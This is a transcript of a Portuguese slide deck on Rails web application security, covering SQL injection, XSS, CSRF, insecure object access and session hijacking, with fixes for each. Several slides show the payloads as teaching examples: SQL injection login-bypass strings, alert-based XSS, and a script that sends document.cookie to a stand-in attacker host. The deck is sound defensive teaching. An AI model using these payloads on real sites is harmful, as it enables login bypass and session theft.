segurança em aplicações web

32

Upload: paulo-moura

Post on 11-Apr-2017

180 views

Category:

Software


0 download

TRANSCRIPT

Page 1: Segurança em aplicações web
Page 2: Segurança em aplicações web

Segurança em aplicações Web

Page 3: Segurança em aplicações web

Pródiga

Page 4: Segurança em aplicações web
Page 5: Segurança em aplicações web
Page 6: Segurança em aplicações web

User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")

Page 7: Segurança em aplicações web

' OR '1'='1 como nome e ' OR '2'>'1 como senha

User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")

Page 8: Segurança em aplicações web

User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")

' OR '1'='1 como nome e ' OR '2'>'1 como senha

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

Page 9: Segurança em aplicações web

' OR '1'='1 como nome e ' OR '2'>'1 como senha

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

Model.where("login = ? AND password = ?", entered_user_name, entered_password).first

User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")

Page 10: Segurança em aplicações web

' OR '1'='1 como nome e ' OR '2'>'1 como senha

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

Model.where("login = ? AND password = ?", entered_user_name, entered_password).first

Model.where(login: entered_user_name, password: entered_password).first

User.first("login = '#{params[:name]}' AND password = '#{params[:password]}’")

Page 11: Segurança em aplicações web
Page 12: Segurança em aplicações web

<img src=javascript:alert(‘Hello')>

<table background="javascript:alert('Hello')">

Page 13: Segurança em aplicações web

<script>document.write(document.cookie);</script>

Page 14: Segurança em aplicações web

<script>document.write(document.cookie);</script>

<script> document.write('<img src="http://www.attacker.com/' + document.cookie + ‘">');</script>

Page 15: Segurança em aplicações web

<script>document.write(document.cookie);</script>

<script> document.write('<img src="http://www.attacker.com/' + document.cookie + ‘">');</script>

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2

Page 16: Segurança em aplicações web

Como evitar

Page 17: Segurança em aplicações web

Como evitar

flag httpOnly ao criar o cookie

sanitizar inputs dos usuarios

Page 18: Segurança em aplicações web

Cross-Site Request Forgery

Page 19: Segurança em aplicações web
Page 20: Segurança em aplicações web

Como evitar

Page 21: Segurança em aplicações web

Como evitar

  usar metodos get e post corretamente

usar token

Page 22: Segurança em aplicações web

<form action=“/remover-usuario“ method="post"> <input type="hidden" name="id" value="38"> <input type="date" name=“data-remocao”>

<input type="submit" value="Remover"></form>

Page 23: Segurança em aplicações web

<form action=“/remover-usuario“ method="post"> <input type="hidden" name="id" value="38">

<input type="hidden" name="csrf_token" value="71ACGD73OVxuza6yeAInUG0aOYEqfc91nnvhuq7Tdv8">

<input type="date" name=“data-remocao”>

<input type="submit" value="Remover"></form>

Page 24: Segurança em aplicações web
Page 25: Segurança em aplicações web

def edit @project = Project.find(params['id'])end

Page 26: Segurança em aplicações web

def edit @project = current_user.projects.find(params['id'])end

Page 27: Segurança em aplicações web

def edit @project = current_user.projects.find(params['id'])end

http://www.fidelis.work/como-eu-usei-o-cartao-de-credito-do-ceo-do-trampos-co-para-pagar-minha-assinatura-premium/

Page 28: Segurança em aplicações web
Page 29: Segurança em aplicações web

Como capturar a sessão

através de wi-fi inseguro

através de terminais públicos

XSS

Page 30: Segurança em aplicações web

Como evitar

marcar cookies como httpOnly

usar ssl

Expirar a sessão

Page 31: Segurança em aplicações web

Onde aprender mais

https://www.owasp.org/index.php/Main_Page

http://guides.rubyonrails.org/security.html

Page 32: Segurança em aplicações web